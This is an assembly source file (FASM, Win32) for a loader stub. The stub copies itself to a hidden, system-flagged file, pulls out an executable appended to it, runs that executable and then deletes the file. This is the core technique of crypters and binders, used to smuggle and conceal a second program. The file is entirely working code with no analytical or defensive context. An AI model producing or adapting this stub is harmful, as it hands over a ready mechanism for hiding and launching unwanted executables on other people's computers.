format pe gui 4.0

include 'win32ax.inc'

entry _init

section '.code' readable executable writeable

      _title	    db	  'Executing new code in your general direction',0
      _random_name  db	  'Hidden_Random_NewFile.exe',0 ; can be same name in different dir (i.e TEMP folder)
      _thisFile     db	  MAX_PATH dup(0)
      _heap	    dd	  ?
      _dwLength     dd	  ?
_sizes:
      _OriginalSize dd	  ?
      _StubSize     dd	  ?

_init:
      push	0 0 _title 0
      call	[MessageBoxA]

      push	MAX_PATH
      push	_thisFile
      push	NULL
      call	[GetModuleFileNameA]

      ;  dup file
      push	FALSE
      push	_random_name
      push	_thisFile
      call	[CopyFile]

      ; set file attributes to hidden for new file
      push	 FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
      push	 _random_name
      call	 [SetFileAttributesA]


      ; open file and execute
      push	 NULL
      push	 FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM	 ; here also
      push	 OPEN_EXISTING
      push	 NULL
      push	 NULL
      push	 GENERIC_READ+GENERIC_WRITE
      push	 _random_name
      call	 [CreateFileA]
      mov	 ebx,	    eax

      ; read original size and new size
      push	 FILE_BEGIN
      push	 NULL
      push	 0x4E	      ; This program cannot be blah blah....
      push	 ebx
      call	 [SetFilePointer]

      push	  NULL
      push	  _dwLength
      push	  8
      push	  _sizes
      push	  ebx
      call	  [ReadFile]

      ; move pointer to beginning of original code
      push	 FILE_BEGIN
      push	 NULL
      push	 [_StubSize]
      push	 ebx
      call	 [SetFilePointer]

      ;
      ; Allocate enough memory to read original exe code
      call	 [GetProcessHeap]
      mov	 [_heap], eax

      push	 [_OriginalSize]
      push	 0x00000008 ; HEAP_ZERO_MEMORY
      push	 eax
      call	 [HeapAlloc]
      mov	 edi,	eax

      ; read the original code
      push	  NULL
      push	  _dwLength
      push	  [_OriginalSize]
      push	  eax
      push	  ebx
      call	  [ReadFile]

      ; reset the pointer one more time
      push	 FILE_BEGIN
      push	 NULL
      push	 0
      push	 ebx
      call	 [SetFilePointer]

      ; write the original code back
      push	  NULL
      push	  _dwLength
      push	  [_OriginalSize]
      push	  edi
      push	  ebx
      call	  [WriteFile]

      ; truncate the file
      push	  ebx
      call	  [SetEndOfFile]

      ; cleanup
      push	  ebx
      call	  [CloseHandle]

      push	  edi
      push	  NULL
      push	  [_heap]
      call	  [HeapFree]

      ; launch the new EXE
      push	   1
      push	   _random_name
      call	   [WinExec]	; ShellExecute/CreateProcess (wait for child and delete file) etc

_attempt:
      push	   _random_name
      call	   [DeleteFileA]
      test	   eax, eax
      jnz	   _done

      push	    1000
      call	    [Sleep]
      jmp	    _attempt

_done:
      push	0
      call  [ExitProcess]

section '.idata' import data readable

library user32,'user32.dll',\
	kernel32,'kernel32.dll'

include 'api/user32.inc'
include 'api/kernel32.inc'

